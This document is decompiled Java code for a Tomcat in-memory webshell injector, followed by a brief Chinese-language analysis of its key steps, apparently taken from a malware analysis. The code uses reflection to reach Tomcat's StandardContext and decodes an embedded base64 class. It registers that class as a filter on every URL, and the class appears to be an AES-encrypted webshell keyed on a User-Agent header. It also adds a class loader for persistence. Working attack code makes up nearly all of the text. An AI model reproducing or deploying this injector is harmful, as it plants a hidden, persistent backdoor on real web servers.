try { final Thread currentThread = Thread.currentThread(); final ClassLoader parent = currentThread.getContextClassLoader().getParent(); final Class<?> loadClass = parent.loadClass("java.lang.Thread"); final Class<?> loadClass2 = parent.loadClass("java.lang.ThreadGroup"); final Class<?> loadClass3 = parent.loadClass("org.apache.coyote.RequestInfo"); final Class<?> loadClass4 = parent.loadClass("org.apache.coyote.RequestGroupInfo"); final Field declaredField = loadClass2.getDeclaredField("threads"); declaredField.setAccessible(true); final Field declaredField2 = loadClass.getDeclaredField("target"); declaredField2.setAccessible(true); final Thread[] array3 = (Thread[])declaredField.get(currentThread.getThreadGroup()); boolean b = false; for (int i = 0; i < array3.length; ++i) { final Thread thread = array3[i]; try { if (thread == null || !thread.getName().contains("http")) { continue; } } catch (NoSuchMethodException ex) { throw ex; } final Object value = declaredField2.get(thread); try { if (value == null) { continue; } } catch (NoSuchMethodException ex2) { throw ex2; } Label_0505: { try { if (!value.getClass().getName().contains("Endpoint$")) { continue; } final Object o = value; final Class<?> clazz = o.getClass(); final Package package1 = clazz.getPackage(); final String s5 = package1.getName(); final String[] array4 = array2; final int n11 = 51; final String s6 = "org.apache.tomcat.util.net"; final boolean b2 = s5.equals(s6); if (!b2) { break Label_0505; } break Label_0505; } catch (NoSuchMethodException ex3) { throw ex3; } try { final Object o = value; final Class<?> clazz = o.getClass(); final Package package1 = clazz.getPackage(); final String s5 = package1.getName(); final String[] array4 = array2; final int n11 = 51; final String s6 = "org.apache.tomcat.util.net"; final boolean b2 = s5.equals(s6); if (!b2) { continue; } } catch (NoSuchMethodException ex4) { throw ex4; } } final Field declaredField3 = value.getClass().getDeclaredField("this$0"); declaredField3.setAccessible(true); final Object value2 = declaredField3.get(value); final Object invoke = value2.getClass().getMethod("getHandler", (Class<?>[])new Class[0]).invoke(value2, new Object[0]); Object o2; try { o2 = invoke.getClass().getMethod("getGlobal", (Class<?>[])new Class[0]).invoke(invoke, new Object[0]); } catch (NoSuchMethodException ex10) { final Field declaredField4 = invoke.getClass().getDeclaredField("global"); declaredField4.setAccessible(true); o2 = declaredField4.get(invoke); } final Field declaredField5 = loadClass4.getDeclaredField("processors"); declaredField5.setAccessible(true); final ArrayList list = (ArrayList)((ArrayList)declaredField5.get(o2)).clone(); for (int j = 0; j < list.size(); ++j) { final Object value3 = list.get(j); if (value3 != null) { final String s7 = (String)loadClass3.getMethod("getWorkerThreadName", (Class<?>[])new Class[0]).invoke(value3, new Object[0]); try { if (s7 == null || !s7.equals(Thread.currentThread().getName())) { continue; } } catch (NoSuchMethodException ex5) { throw ex5; } final Field declaredField6 = loadClass3.getDeclaredField("req"); declaredField6.setAccessible(true); final Object value4 = declaredField6.get(value3); final Object invoke2 = value4.getClass().getMethod("getNote", Integer.TYPE).invoke(value4, 1); final Object invoke3 = invoke2.getClass().getMethod("getContext", (Class<?>[])new Class[0]).invoke(invoke2, new Object[0]); final Class<?> loadClass5 = parent.loadClass("org.apache.catalina.core.ApplicationDispatcher"); final Class<?> loadClass6 = parent.loadClass("javax.servlet.Filter"); final Class<?> loadClass7 = parent.loadClass("org.apache.catalina.core.StandardContext"); final Class<?> loadClass8 = parent.loadClass("org.apache.catalina.core.ApplicationFilterConfig"); final Class<?> loadClass9 = parent.loadClass("org.apache.catalina.Context"); Class<?> clazz2; Class<?> clazz3; try { clazz2 = parent.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef"); clazz3 = parent.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (ClassNotFoundException ex11) { clazz2 = parent.loadClass("org.apache.catalina.deploy.FilterDef"); clazz3 = parent.loadClass("org.apache.catalina.deploy.FilterMap"); } final String s8 = "Horizontical"; final String s9 = "yv66vgAAADIAtAoAMQBPCgAxAFAKADEAUQcAUgcAUwgAVAsABABVCABWCgAmAFcLAAQAWAgAWQsAWgBbCABcCwBaAF0IAF4KAF8AYAcAYQcAYgoAEgBPCgASAGMIAGQKABIAZQoAEgBmCgAmAGcKABEAaAoAXwBpCwAEAGoHAGsKABwATwoAbABtCgAcAG4HAG8KAC0AcAoAcQByCgAgAFAHAHMKACQATwcAdAoAHAB1CgAmAHYKACQAdwoAXwB4CgAgAHkKAHEAegcAewoALQBXBwB8CwB9AH4HAH8HAIABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAaKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAFnAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAApFeGNlcHRpb25zBwCBAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQANU3RhY2tNYXBUYWJsZQcAUgcAUwcAbwcAggcAgwcAhAcAhQcAhgcAawcAfAcAhwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQARSG9yaXpvbnRpY2FsLmphdmEMADMANAwAMwA3DACIAIkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAApVc2VyLUFnZW50DACKAIsBAHFNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODQuMC40OTYuMTkgU2FmYXJpLzUzNy4zNgwAjACNDACOAI8BAAF1BwCQDACRAJIBABA4YzI1ZGZiZWRmOWU0MDJhDACTAJQBAANBRVMHAIUMAJUAlgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAlwCYAQAADACXAJkMAJoAmwwAnACdDAAzAJ4MADoAnwwAoAChAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAIYMAKIAowwApAClAQAMSG9yaXpvbnRpY2FsDACmAKcHAKgMAKkAqgEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIBABBqYXZhL2xhbmcvU3RyaW5nDACrAJ0MADMArAwArQCuDACvALAMADgAOQwAsQCyAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9UaHJvd2FibGUHAIQMAD4AswEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAE2phdmF4L2NyeXB0by9DaXBoZXIBACBqYXZheC9zZXJ2bGV0L1NlcnZsZXRJbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAOZ2V0SW5wdXRTdHJlYW0BACQoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRJbnB1dFN0cmVhbTsBAARyZWFkAQADKClJAQAFd3JpdGUBAAQoSSlWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAPamF2YS9sYW5nL0NsYXNzAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQALdG9CeXRlQXJyYXkBAAUoW0IpVgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQAgADEAAQAyAAAABgABADMANAABADUAAAAhAAEAAQAAAAUqtwABsQAAAAEANgAAAAoAAgAAABQABAAVAAEAMwA3AAEANQAAACIAAgACAAAABiortwACsQAAAAEANgAAAAoAAgAAABgABQAZAAEAOAA5AAEANQAAACEABAACAAAACSorAyu+twADsAAAAAEANgAAAAYAAQAAABwAAQA6ADsAAgA1AAAAGQAAAAIAAAABsQAAAAEANgAAAAYAAQAAACAAPAAAAAQAAQA9AAEAPgA/AAIANQAAAeMABwAKAAABCivAAAQ6BCzAAAU6BRkEEga5AAcCAMYA7BkEEga5AAcCABIItgAJmQDbGQS5AAoBABILuQAMAgDHABMZBLkACgEAEgsSDbkADgMAEg+4ABA6BxkHBbsAEVm7ABJZtwATGQS5AAoBABILuQAMAgC2ABQSFbYAFrYAF7YAGBIPtwAZtgAaGQS5ABsBADoIuwAcWbcAHToJGQi2AB5ZNgYCnwANGQkVBrYAH6f/7bsAIFkqtgAhtgAitwAjGQe7ACRZtwAluwAmWRkJtgAntwAotgAptgAqtgArtgAsBb0ALVkDGQS5AAoBAFNZBBkFU7YALlenABg6Bi0rLLkAMAMApwALLSssuQAwAwCxAAEAKQDxAPQALwACADYAAABKABIAAAAjAAYAJAAMACUAKQAoADoAKQBKACsAUQAsAIMALQCMAC4AlQAvAKEAMACrADIA8QA1APQAMwD2ADQA/gA1AQEANwEJADkAQAAAAG8ABv0ASgcAQQcAQv8ASgAKBwBDBwBEBwBFBwBGBwBBBwBCAAcARwcASAcASQAA/wAVAAoHAEMHAEQHAEUHAEYHAEEHAEIBBwBHBwBIBwBJAAD/AEgABgcAQwcARAcARQcARgcAQQcAQgABBwBKDAcAPAAAAAYAAgBLAD0AAQBMADQAAQA1AAAAGQAAAAEAAAABsQAAAAEANgAAAAYAAQAAADwAAQBNAAAAAgBO"; byte[] array5; try { final Class<?> loadClass10 = parent.loadClass("java.util.Base64"); array5 = (byte[])parent.loadClass("java.util.Base64$Decoder").getMethod("decode", String.class).invoke(loadClass10.getMethod("getDecoder", (Class<?>[])new Class[0]).invoke(loadClass10, new Object[0]), s9); } catch (ClassNotFoundException ex12) { final Class<?> loadClass11 = parent.loadClass("javax.xml.bind.DatatypeConverter"); array5 = (byte[])loadClass11.getMethod("parseBase64Binary", String.class).invoke(loadClass11, s9); } final Method declaredMethod = parent.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE); declaredMethod.setAccessible(true); final Class clazz4 = (Class)declaredMethod.invoke(parent, s8, array5, 0, array5.length); final Object instance = clazz2.newInstance(); final Object instance2 = clazz3.newInstance(); boolean b3 = false; try { loadClass5.getDeclaredField("WRAP_SAME_OBJECT"); } catch (NoSuchFieldException ex13) { b3 = true; } try { if (!b3) { clazz2.getMethod("setFilter", loadClass6).invoke(instance, clazz4.newInstance()); } } catch (NoSuchMethodException ex6) { throw ex6; } clazz2.getMethod("setFilterClass", String.class).invoke(instance, s8); clazz2.getMethod("setFilterName", String.class).invoke(instance, s8); loadClass7.getMethod("addFilterDef", clazz2).invoke(invoke3, instance); clazz3.getMethod("setFilterName", String.class).invoke(instance2, s8); clazz3.getMethod("addURLPattern", String.class).invoke(instance2, "*"); if (b3) { final Field declaredField7 = loadClass7.getDeclaredField("filterMaps"); declaredField7.setAccessible(true); final Object value5 = declaredField7.get(invoke3); final int length2 = Array.getLength(value5); final Object instance3 = Array.newInstance(clazz3, length2 + 1); Array.set(instance3, 0, instance2); int k = 0; try { while (k < length2) { Array.set(instance3, k + 1, Array.get(value5, k)); ++k; } } catch (NoSuchMethodException ex7) { throw ex7; } declaredField7.set(invoke3, instance3); } else { final Field declaredField8 = loadClass7.getDeclaredField("filterMaps"); declaredField8.setAccessible(true); final Object value6 = declaredField8.get(invoke3); final Field declaredField9 = value6.getClass().getDeclaredField("insertPoint"); declaredField9.setAccessible(true); final int int1 = Integer.parseInt(declaredField9.get(value6).toString()); declaredField9.set(value6, 0); loadClass7.getMethod("addFilterMapBefore", clazz3).invoke(invoke3, instance2); declaredField9.set(value6, int1 + 1); } final Constructor<?> declaredConstructor = loadClass8.getDeclaredConstructor(loadClass9, clazz2); declaredConstructor.setAccessible(true); final Object instance4 = declaredConstructor.newInstance(invoke3, instance); Field declaredField10 = null; Class<?> superclass = loadClass7; while (superclass != null) { try { declaredField10 = superclass.getDeclaredField("filterConfigs"); } catch (NoSuchFieldException ex14) { superclass = superclass.getSuperclass(); continue; } break; } if (declaredField10 != null) { declaredField10.setAccessible(true); ((HashMap)declaredField10.get(invoke3)).put(s8, instance4); } try { final File file = new File(System.getProperty("java.io.tmpdir")); final File file2 = new File(file, s8.replace(".", "/") + ".class"); Label_2082: { try { if (!file2.exists()) { if (!file2.createNewFile()) { break Label_2082; } } } catch (NoSuchMethodException ex8) { throw ex8; } final Constructor<?> declaredConstructor2 = parent.loadClass("sun.misc.URLClassPath$FileLoader").getDeclaredConstructor(URL.class); declaredConstructor2.setAccessible(true); final Object instance5 = declaredConstructor2.newInstance(file.toURI().toURL()); ClassLoader classLoader; for (classLoader = ClassLoader.getSystemClassLoader(); classLoader.getParent() != null; classLoader = classLoader.getParent()) {} Field declaredField11 = null; Serializable s10 = classLoader.getClass(); while (s10 != null) { try { declaredField11 = ((Class)s10).getDeclaredField("ucp"); } catch (NoSuchFieldException ex15) { s10 = ((Class<? extends ClassLoader>)s10).getSuperclass(); continue; } break; } if (declaredField11 != null) { declaredField11.setAccessible(true); final Field declaredField12 = Field.class.getDeclaredField("modifiers"); declaredField12.setAccessible(true); declaredField12.setInt(declaredField11, 0); final Object value7 = declaredField11.get(classLoader); Field declaredField13 = null; Class<?> clazz5 = value7.getClass(); while (clazz5 != null) { try { declaredField13 = clazz5.getDeclaredField("loaders"); } catch (NoSuchFieldException ex16) { clazz5 = clazz5.getSuperclass(); continue; } break; } if (declaredField13 != null) { declaredField13.setAccessible(true); ((ArrayList)declaredField13.get(value7)).add(instance5); } } } } catch (Exception ex17) {} b = true; break; } } try { if (b) { break; } } catch (NoSuchMethodException ex9) { throw ex9; } } } catch (Exception ex18) {}
关键过程：
从Thread.currentThread()开始，通过反射获取Request对象。
进一步获取到StandardContext。
1 2 3 4 5
final Field declaredField6 = loadClass3.getDeclaredField("req"); declaredField6.setAccessible(true); final Object value4 = declaredField6.get(value3); final Object invoke2 = value4.getClass().getMethod("getNote", Integer.TYPE).invoke(value4, 1); final Object invoke3 = invoke2.getClass().getMethod("getContext", (Class<?>[])new Class[0]).invoke(invoke2, new Object[0]);
